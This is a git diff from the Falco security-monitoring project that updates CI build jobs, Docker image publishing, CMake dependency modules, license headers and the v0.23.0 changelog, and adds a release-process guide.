Update ToC for proposals/20200623-rules-required-engine-version-scope.md

Signed-off-by: Lorenzo Fontana <lo@linux.com>

.circleci/config.yml

@@ -2,9 +2,9 @@ version: 2
 jobs:
   # Build using ubuntu LTS
   # This build is dynamic, most dependencies are taken from the OS
-  "build/ubuntu-bionic":
+  "build/ubuntu-focal":
     docker:
-      - image: ubuntu:bionic
+      - image: ubuntu:focal
     steps:
       - checkout
       - run:
@@ -12,19 +12,19 @@ jobs:
           command: apt update -y
       - run:
           name: Install dependencies
-          command: apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm linux-headers-$(uname -r) libelf-dev cmake build-essential libcurl4-openssl-dev -y
+          command: DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-generic clang llvm git -y
       - run:
           name: Prepare project
           command: |
             mkdir build
             pushd build
-            cmake ..
+            cmake -DBUILD_BPF=On ..
             popd
       - run:
           name: Build
           command: |
             pushd build
-            make -j4 all
+            KERNELDIR=/lib/modules/$(ls /lib/modules)/build make -j4 all
             popd
       - run:
           name: Run unit tests
@@ -34,9 +34,9 @@ jobs:
             popd
   # Debug build using ubuntu LTS
   # This build is dynamic, most dependencies are taken from the OS
-  "build/ubuntu-bionic-debug":
+  "build/ubuntu-focal-debug":
     docker:
-      - image: ubuntu:bionic
+      - image: ubuntu:focal
     steps:
       - checkout
       - run:
@@ -44,19 +44,19 @@ jobs:
           command: apt update -y
       - run:
           name: Install dependencies
-          command: apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm linux-headers-$(uname -r) libelf-dev cmake build-essential libcurl4-openssl-dev -y
+          command: DEBIAN_FRONTEND=noninteractive apt install libssl-dev libyaml-dev libncurses-dev libc-ares-dev libprotobuf-dev protobuf-compiler libjq-dev libyaml-cpp-dev libgrpc++-dev protobuf-compiler-grpc rpm libelf-dev cmake build-essential libcurl4-openssl-dev linux-headers-generic clang llvm git -y
       - run:
           name: Prepare project
           command: |
             mkdir build
             pushd build
-            cmake -DCMAKE_BUILD_TYPE=debug ..
+            cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_BPF=On ..
             popd
       - run:
           name: Build
           command: |
             pushd build
-            make -j4 all
+            KERNELDIR=/lib/modules/$(ls /lib/modules)/build make -j4 all
             popd
       - run:
           name: Run unit tests
@@ -138,6 +138,15 @@ jobs:
       - run:
           name: Execute integration tests
           command: /usr/bin/entrypoint test
+  "tests/driver-loader/integration":
+    machine:
+      image: ubuntu-1604:202004-01
+    steps:
+      - attach_workspace:
+          at: /tmp/ws
+      - run:
+          name: Execute driver-loader integration tests
+          command: /tmp/ws/source/falco/test/driver-loader/run_test.sh /tmp/ws/build/release/
   # Sign rpm packages
   "rpm/sign":
     docker:
@@ -208,26 +217,27 @@ jobs:
       - checkout
       - setup_remote_docker
       - run:
-          name: Build and publish slim-dev
+          name: Build and publish no-driver-dev
           command: |
             FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master-slim docker/slim
+            docker build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco-no-driver:master docker/no-driver
+            docker tag falcosecurity/falco-no-driver:master falcosecurity/falco:master-slim
             echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
+            docker push falcosecurity/falco-no-driver:master
             docker push falcosecurity/falco:master-slim
-      - run:
-          name: Build and publish minimal-dev
-          command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            docker build --build-arg VERSION_BUCKET=bin-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master-minimal docker/minimal
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            docker push falcosecurity/falco:master-minimal
       - run:
           name: Build and publish dev
           command: |
             FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master docker/stable
+            docker build --build-arg VERSION_BUCKET=deb-dev --build-arg FALCO_VERSION=${FALCO_VERSION} -t falcosecurity/falco:master docker/falco
             echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
             docker push falcosecurity/falco:master
+      - run:
+          name: Build and publish dev falco-driver-loader-dev
+          command: |
+            docker build --build-arg FALCO_IMAGE_TAG=master -t falcosecurity/falco-driver-loader:master docker/driver-loader
+            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
+            docker push falcosecurity/falco-driver-loader:master
   # Publish the packages
   "publish/packages":
     docker:
@@ -267,41 +277,47 @@ jobs:
       - checkout
       - setup_remote_docker
       - run:
-          name: Build and publish slim
+          name: Build and publish no-driver
           command: |
-            docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}-slim" docker/slim
-            docker tag "falcosecurity/falco:${CIRCLE_TAG}-slim" falcosecurity/falco:latest-slim
+            docker build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco-no-driver:${CIRCLE_TAG}" docker/no-driver
+            docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" falcosecurity/falco-no-driver:latest
+            docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" "falcosecurity/falco:${CIRCLE_TAG}-slim"
+            docker tag "falcosecurity/falco-no-driver:${CIRCLE_TAG}" "falcosecurity/falco:latest-slim"
             echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
+            docker push "falcosecurity/falco-no-driver:${CIRCLE_TAG}"
+            docker push "falcosecurity/falco-no-driver:latest"
             docker push "falcosecurity/falco:${CIRCLE_TAG}-slim"
             docker push "falcosecurity/falco:latest-slim"
       - run:
-          name: Build and publish minimal
+          name: Build and publish falco
           command: |
-            FALCO_VERSION=$(cat /build/release/userspace/falco/config_falco.h | grep 'FALCO_VERSION ' | cut -d' ' -f3 | sed -e 's/^"//' -e 's/"$//')
-            docker build --build-arg VERSION_BUCKET=bin --build-arg FALCO_VERSION=${FALCO_VERSION} -t "falcosecurity/falco:${CIRCLE_TAG}-minimal" docker/minimal
-            docker tag "falcosecurity/falco:${CIRCLE_TAG}-minimal" falcosecurity/falco:latest-minimal
-            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
-            docker push "falcosecurity/falco:${CIRCLE_TAG}-minimal"
-            docker push "falcosecurity/falco:latest-minimal"
-      - run:
-          name: Build and publish stable
-          command: |
-            docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}" docker/stable
+            docker build --build-arg VERSION_BUCKET=deb --build-arg FALCO_VERSION=${CIRCLE_TAG} -t "falcosecurity/falco:${CIRCLE_TAG}" docker/falco
             docker tag "falcosecurity/falco:${CIRCLE_TAG}" falcosecurity/falco:latest
             echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
             docker push "falcosecurity/falco:${CIRCLE_TAG}"
             docker push "falcosecurity/falco:latest"
+      - run:
+          name: Build and publish falco-driver-loader
+          command: |
+            docker build --build-arg FALCO_IMAGE_TAG=${CIRCLE_TAG} -t "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" docker/driver-loader
+            docker tag "falcosecurity/falco-driver-loader:${CIRCLE_TAG}" falcosecurity/falco-driver-loader:latest
+            echo ${DOCKERHUB_SECRET} | docker login -u ${DOCKERHUB_USER} --password-stdin
+            docker push "falcosecurity/falco-driver-loader:${CIRCLE_TAG}"
+            docker push "falcosecurity/falco-driver-loader:latest"
 workflows:
   version: 2
   build_and_test:
     jobs:
-      - "build/ubuntu-bionic"
-      - "build/ubuntu-bionic-debug"
+      - "build/ubuntu-focal"
+      - "build/ubuntu-focal-debug"
       - "build/centos7"
       - "build/centos7-debug"
       - "tests/integration":
           requires:
             - "build/centos7"
+      - "tests/driver-loader/integration":
+          requires:
+            - "build/centos7"
       - "rpm/sign":
           context: falco
           filters:
@@ -329,6 +345,7 @@ workflows:
               only: master
           requires:
             - "publish/packages-dev"
+            - "tests/driver-loader/integration"
   release:
     jobs:
       - "build/centos7":

.github/PULL_REQUEST_TEMPLATE.md

@@ -40,12 +40,8 @@ Please remove the leading whitespace before the `/kind <>` you uncommented.
 
 > /area engine
 
-> /area examples
-
 > /area rules
 
-> /area integrations
-
 > /area tests
 
 > /area proposals

.gitignore

@@ -16,12 +16,6 @@ userspace/falco/lua/lpeg.so
 userspace/engine/lua/lyaml
 userspace/engine/lua/lyaml.lua
 
-docker/event-generator/event_generator
-docker/event-generator/mysqld
-docker/event-generator/httpd
-docker/event-generator/sha1sum
-docker/event-generator/vipw
-
 .vscode/*
 
 .luacheckcache

ADOPTERS.md

@@ -10,6 +10,9 @@ This is a list of production adopters of Falco (in alphabetical order):
 
 * [League](https://league.com/ca/) - League provides health benefits management services to help employees understand and get the most from their benefits, and employers to provide effective, efficient plans. Falco is used to monitor our deployed services on Kubernetes, protecting against malicious access to containerswhich could lead to leaks of PHI or other sensitive data. The Falco alerts are logged in Stackdriver for grouping and further analysis. In the future, we're hoping for integrations with Prometheus and AlertManager as well.
 
+* [Logz.io](https://logz.io/) - Logz.io is a cloud observability platform for modern engineering teams. The Logz.io platform consists of three products — Log Management, Infrastructure Monitoring, and Cloud SIEM — that work together to unify the jobs of monitoring, troubleshooting, and security. We empower engineers to deliver better software by offering the world's most popular open source observability tools — the ELK Stack, Grafana, and Jaeger — in a single, easy to use, and powerful platform purpose-built for monitoring distributed cloud environments. Cloud SIEM supports data from multiple sources, including Falco's alerts, and offers useful rules and dashboards content to visualize and manage incidents across your systems in a unified UI.
+  * https://logz.io/blog/k8s-security-with-falco-and-cloud-siem/
+
 * [Preferral](https://www.preferral.com) - Preferral is a HIPAA-compliant platform for Referral Management and Online Referral Forms. Preferral streamlines the referral process for patients, specialists and their referral partners. By automating the referral process, referring practices spend less time on the phone, manual efforts are eliminated, and patients get the right care from the right specialist. Preferral leverages Falco to provide a Host Intrusion Detection System to meet their HIPPA compliance requirements.
   * https://hipaa.preferral.com/01-preferral_hipaa_compliance/
 

CHANGELOG.md

@@ -2,6 +2,48 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
+## v0.23.0
+
+Released on 2020-18-05
+
+### Major Changes
+
+* BREAKING CHANGE: the falco-driver-loader script now references `falco-probe.o` and `falco-probe.ko` as `falco.o` and `falco.ko` [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
+* BREAKING CHANGE: the `falco-driver-loader` script environment variable to use a custom repository to download drivers now uses the `DRIVERS_REPO` environment variable instead of `DRIVER_LOOKUP_URL`. This variable must contain the parent URI containing the following directory structure `/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]`. e.g: [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
+* new(scripts): options and command-line usage for `falco-driver-loader` [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
+* new: ability to specify exact matches when adding rules to Falco engine (only API) [[#1185](https://github.com/falcosecurity/falco/pull/1185)]
+* new(docker): add an image that wraps the `falco-driver-loader` with the toolchain [[#1192](https://github.com/falcosecurity/falco/pull/1192)]
+* new(docker): add `falcosecurity/falco-no-driver` image [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
+
+
+### Minor Changes
+
+* update(scripts): improve `falco-driver-loader` output messages [[#1200](https://github.com/falcosecurity/falco/pull/1200)]
+* update: containers look for prebuilt drivers on the Drivers Build Grid [[#1158](https://github.com/falcosecurity/falco/pull/1158)]
+* update: driver version bump to 96bd9bc560f67742738eb7255aeb4d03046b8045 [[#1190](https://github.com/falcosecurity/falco/pull/1190)]
+* update(docker): now `falcosecurity/falco:slim-*` alias to `falcosecurity/falco-no-driver:*` [[#1205](https://github.com/falcosecurity/falco/pull/1205)]
+* docs: instructions to run unit tests [[#1199](https://github.com/falcosecurity/falco/pull/1199)]
+* docs(examples): move `/examples` to `contrib` repo [[#1191](https://github.com/falcosecurity/falco/pull/1191)]
+* update(docker): remove `minimal` image [[#1196](https://github.com/falcosecurity/falco/pull/1196)]
+* update(integration): move `/integrations` to `contrib` repo [[#1157](https://github.com/falcosecurity/falco/pull/1157)]
+* https://dl.bintray.com/driver/$driver_version$/falco_$target$_$kernelrelease$_$kernelversion$.[ko|o]` [[#1160](https://github.com/falcosecurity/falco/pull/1160)]
+* update(docker/event-generator): remove the event-generator from Falco repository [[#1156](https://github.com/falcosecurity/falco/pull/1156)]
+* docs(examples): set audit level to metadata for object secrets [[#1153](https://github.com/falcosecurity/falco/pull/1153)]
+
+
+### Bug Fixes
+
+* fix(scripts): upstream files (prebuilt drivers) for the generic Ubuntu kernel contains "ubuntu-generic" [[#1212](https://github.com/falcosecurity/falco/pull/1212)]
+* fix: support Falco driver on Linux kernels 5.6.y [[#1174](https://github.com/falcosecurity/falco/pull/1174)]
+
+
+### Rule Changes
+
+* rule(Redirect STDOUT/STDIN to Network Connection in Container): correct rule name as per rules naming convention [[#1164](https://github.com/falcosecurity/falco/pull/1164)]
+* rule(Redirect STDOUT/STDIN to Network Connection in Container): new rule to detect Redirect stdout/stdin to network connection in container [[#1152](https://github.com/falcosecurity/falco/pull/1152)]
+* rule(K8s Secret Created): new rule to track the creation of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]
+* rule(K8s Secret Deleted): new rule to track the deletion of Kubernetes secrets (excluding kube-system and service account secrets) [[#1151](https://github.com/falcosecurity/falco/pull/1151)]
+
 ## v0.22.1
 
 Released on 2020-17-04

CMakeLists.txt

@@ -71,9 +71,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
 include(GetFalcoVersion)
 
 set(PACKAGE_NAME "falco")
-set(PROBE_NAME "falco-probe")
+set(PROBE_NAME "falco")
 set(PROBE_DEVICE_NAME "falco")
-set(DRIVER_LOOKUP_URL "https://s3.amazonaws.com/download.draios.com")
+set(DRIVERS_REPO "https://dl.bintray.com/falcosecurity/driver")
 if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
   set(CMAKE_INSTALL_PREFIX
       /usr
@@ -215,6 +215,9 @@ ExternalProject_Add(
   BUILD_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" WITH_CPP=1
   INSTALL_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" install-lib install-headers PREFIX=${CIVETWEB_SRC}/install "WITH_CPP=1")
 
+#string-view-lite
+include(DownloadStringViewLite)
+
 # gRPC
 include(gRPC)
 

CONTRIBUTING.md

@@ -11,6 +11,7 @@
       - [Rule type](#rule-type)
   - [Coding Guidelines](#coding-guidelines)
     - [C++](#c)
+    - [Unit testing](/tests/README.md)
   - [Developer Certificate Of Origin](#developer-certificate-of-origin)
 
 ## Code of Conduct
@@ -80,7 +81,7 @@ Some examples:
 
 ### Slack
 
-Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
+Other discussion, and **support requests** should go through the `#falco` channel in the Kubernetes slack, please join [here](https://slack.k8s.io/).
 
 ## Pull Requests
 

RELEASE.md

@@ -0,0 +1,79 @@
+# Falco Release Process
+
+Our release process is mostly automated, but we still need some manual steps to initiate and complete it.
+
+Changes and new features are grouped in [milestones](https://github.com/falcosecurity/falco/milestones), the milestone with the next version represents what is going to be released. 
+
+Releases happen on a monthly cadence, towards the 16th of the on-going month, and we need to assign owners for each (usually we pair a new person with an experienced one). Assignees and the due date are proposed during the [weekly community call](https://github.com/falcosecurity/community). Note that hotfix releases can happen as soon as it is needed.
+
+Finally, on the proposed due date the assignees for the upcoming release proceed with the processes described below.
+
+## Pre-Release Checklist
+
+### 1. Release notes
+- Let `YYYY-MM-DD` the day before of the [latest release](https://github.com/falcosecurity/falco/releases)
+- Check the release note block of every PR matching the `is:pr is:merged closed:>YYYY-MM-DD` [filter](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+closed%3A%3EYYYY-MM-DD)
+    - Ensure the release note block follows the [commit convention](https://github.com/falcosecurity/falco/blob/master/CONTRIBUTING.md#commit-convention), otherwise fix its content
+    - If the PR has no milestone, assign it to the milestone currently undergoing release
+- Check issues without a milestone (using [is:pr is:merged no:milestone closed:>YYYT-MM-DD](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD) filter) and add them to the milestone currently undergoing release
+- Double-check that there are no more merged PRs without the target milestone assigned with the `is:pr is:merged no:milestone closed:>YYYT-MM-DD` [filters](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Amerged+no%3Amilestone+closed%3A%3EYYYT-MM-DD), if any, fix them
+
+### 2. Milestones
+- Move the [tasks not completed](https://github.com/falcosecurity/falco/pulls?q=is%3Apr+is%3Aopen) to a new minor milestone
+- Close the completed milestone
+    
+### 3. Release PR
+
+- Double-check if any hard-coded version number is present in the code, it should be not present anywhere:
+    - If any, manually correct it then open an issue to automate version number bumping later
+    - Versions table in the `README.md` update itself automatically
+- Generate the change log https://github.com/leodido/rn2md, or https://fs.fntlnz.wtf/falco/milestones-changelog.txt for the lazy people (it updates every 5 minutes) 
+- Add the lastest changes on top the previous `CHANGELOG.md`
+- Submit a PR with the above modifications
+- Await PR approval
+
+## Release
+
+Let `x.y.z` the new version.
+
+### 1. Create a tag
+
+- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
+
+    ```
+    git pull
+    git checkout master
+    git tag x.y.z
+    git push origin x.y.z
+    ```
+
+> **N.B.**: do NOT use an annotated tag
+
+- Wait for the CI to complete
+
+### 2. Update the GitHub release
+- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
+- Use `x.y.z` both as tag version and release title
+- Use the following template to fill the release description:
+    ```
+    <!-- Copy the relevant part of the changelog here -->
+
+    ### Statistics
+
+    | Merged PRs        | Number  |
+    |-------------------|---------|
+    | Not user-facing   | x       |
+    | Release note      | x       |
+    | Total             | x       |
+
+    <!-- Calculate stats and fill the above table -->
+    ```
+
+- Finally, publish the release!
+
+## Post-Release tasks
+
+Announce the new release to the world!
+
+- Send an announcement to cncf-falco-dev@lists.cncf.io (plain text, please)
+- Let folks in the slack #falco channel know about a new release came out

cmake/modules/CPackConfig.cmake

@@ -1,3 +1,16 @@
+#
+# Copyright (C) 2020 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
 set(CPACK_PACKAGE_NAME "${PACKAGE_NAME}")
 set(CPACK_PACKAGE_VENDOR "Cloud Native Computing Foundation (CNCF) cncf.io.")
 set(CPACK_PACKAGE_CONTACT "cncf-falco-dev@lists.cncf.io") # todo: change this once we've got @falco.org addresses

cmake/modules/Coverage.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/DownloadCatch.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -14,8 +14,8 @@ include(ExternalProject)
 
 set(CATCH2_INCLUDE ${CMAKE_BINARY_DIR}/catch2-prefix/include)
 
-set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.9.1.tar.gz URL_HASH
-                       SHA256=0b36488aca6265e7be14da2c2d0c748b4ddb9c70a1ea4da75736699c629f14ac)
+set(CATCH_EXTERNAL_URL URL https://github.com/catchorg/catch2/archive/v2.12.1.tar.gz URL_HASH
+                       SHA256=e5635c082282ea518a8dd7ee89796c8026af8ea9068cd7402fb1615deacd91c3)
 
 ExternalProject_Add(
   catch2

cmake/modules/DownloadFakeIt.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/DownloadStringViewLite.cmake

@@ -0,0 +1,29 @@
+#
+# Copyright (C) 2020 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
+include(ExternalProject)
+
+set(STRING_VIEW_LITE_PREFIX ${CMAKE_BINARY_DIR}/string-view-lite-prefix)
+set(STRING_VIEW_LITE_INCLUDE ${STRING_VIEW_LITE_PREFIX}/include)
+message(STATUS "Found string-view-lite: include: ${STRING_VIEW_LITE_INCLUDE}")
+
+ExternalProject_Add(
+  string-view-lite
+  PREFIX ${STRING_VIEW_LITE_PREFIX}
+  GIT_REPOSITORY "https://github.com/martinmoene/string-view-lite.git"
+  GIT_TAG "v1.4.0"
+  CONFIGURE_COMMAND ""
+  BUILD_COMMAND ""
+  INSTALL_COMMAND
+    ${CMAKE_COMMAND} -E copy ${STRING_VIEW_LITE_PREFIX}/src/string-view-lite/include/nonstd/string_view.hpp
+    ${STRING_VIEW_LITE_INCLUDE}/nonstd/string_view.hpp)

cmake/modules/FindMakedev.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/GetFalcoVersion.cmake

@@ -1,3 +1,16 @@
+#
+# Copyright (C) 2020 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
+
 # Retrieve git ref and commit hash
 include(GetGitRevisionDescription)
 

cmake/modules/OpenSSL.cmake

@@ -1,3 +1,15 @@
+#
+# Copyright (C) 2020 The Falco Authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
+# the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations under the License.
+#
 if(NOT USE_BUNDLED_DEPS)
   find_package(OpenSSL REQUIRED)
   message(STATUS "Found openssl: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}")

cmake/modules/cURL.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/gRPC.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -42,6 +42,15 @@ if(NOT USE_BUNDLED_DEPS)
     message(FATAL_ERROR "Couldn't find system protobuf")
   endif()
 
+  # gpr
+  find_library(GPR_LIB NAMES gpr)
+
+  if(GPR_LIB)
+    message(STATUS "Found gpr lib: ${GPR_LIB}")
+  else()
+    message(FATAL_ERROR "Couldn't find system gpr")
+  endif()
+
   # gRPC todo(fntlnz, leodido): check that gRPC version is greater or equal than 1.8.0
   find_path(GRPCXX_INCLUDE NAMES grpc++/grpc++.h)
   if(GRPCXX_INCLUDE)

cmake/modules/jq.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

cmake/modules/sysdig.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at
@@ -16,7 +16,7 @@ set(SYSDIG_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/sysdig-repo")
 
 # this needs to be here at the top
 if(USE_BUNDLED_DEPS)
-  # explicitly force this dependency to use the system OpenSSL
+  # explicitly force this dependency to use the bundled OpenSSL
   set(USE_BUNDLED_OPENSSL ON)
 endif()
 
@@ -26,8 +26,8 @@ file(MAKE_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
 # To update sysdig version for the next release, change the default below
 # In case you want to test against another sysdig version just pass the variable - ie., `cmake -DSYSDIG_VERSION=dev ..`
 if(NOT SYSDIG_VERSION)
-  set(SYSDIG_VERSION "a259b4bf49c3330d9ad6c3eed9eb1a31954259a6")
-  set(SYSDIG_CHECKSUM "SHA256=fdbeb8d182e6383fe89428e0934d521636068f62109c1b3ca11689d886458284")
+  set(SYSDIG_VERSION "422ab408c5706fbdd45432646cc197eb79459169")
+  set(SYSDIG_CHECKSUM "SHA256=367db2a480bca327a46f901bcc8384f151231bcddba88c719a06cf13971f4ab5")
 endif()
 set(PROBE_VERSION "${SYSDIG_VERSION}")
 

cmake/modules/yaml-cpp.cmake

@@ -1,5 +1,5 @@
 #
-# Copyright (C) 2019 The Falco Authors.
+# Copyright (C) 2020 The Falco Authors.
 #
 # Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
 # the License. You may obtain a copy of the License at

docker/OWNERS

@@ -1,2 +1,6 @@
 labels:
-  - area/integration
+  - area/integration
+approvers:
+  - leogr
+reviewers:
+  - leogr

docker/README.md

@@ -1,15 +1,14 @@
 # Falco Dockerfiles
 
-This directory contains the various ways to package Falco as a container. 
+This directory contains various ways to package Falco as a container and related tools. 
 
 ## Currently Supported Images
 
 | Name | Directory | Description |
 |---|---|---|
-| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/stable | Falco (DEB built from git tag or from the master) with all the building toolchain. | 
-| [falcosecurity/falco:latest-slim](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-slim](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/slim | Falco (DEB build from git tag or from the master) without the building toolchain. | 
-| [falcosecurity/falco:latest-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master-minimal](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/minimal | Falco (TGZ built from git tag or from the master) without the building toolchain. | 
-| [falcosecurity/falco-event-generator:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-event-generator) | docker/event-generator | Event generator tool to simulate events Falco catches. | 
+| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. | 
+| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. | 
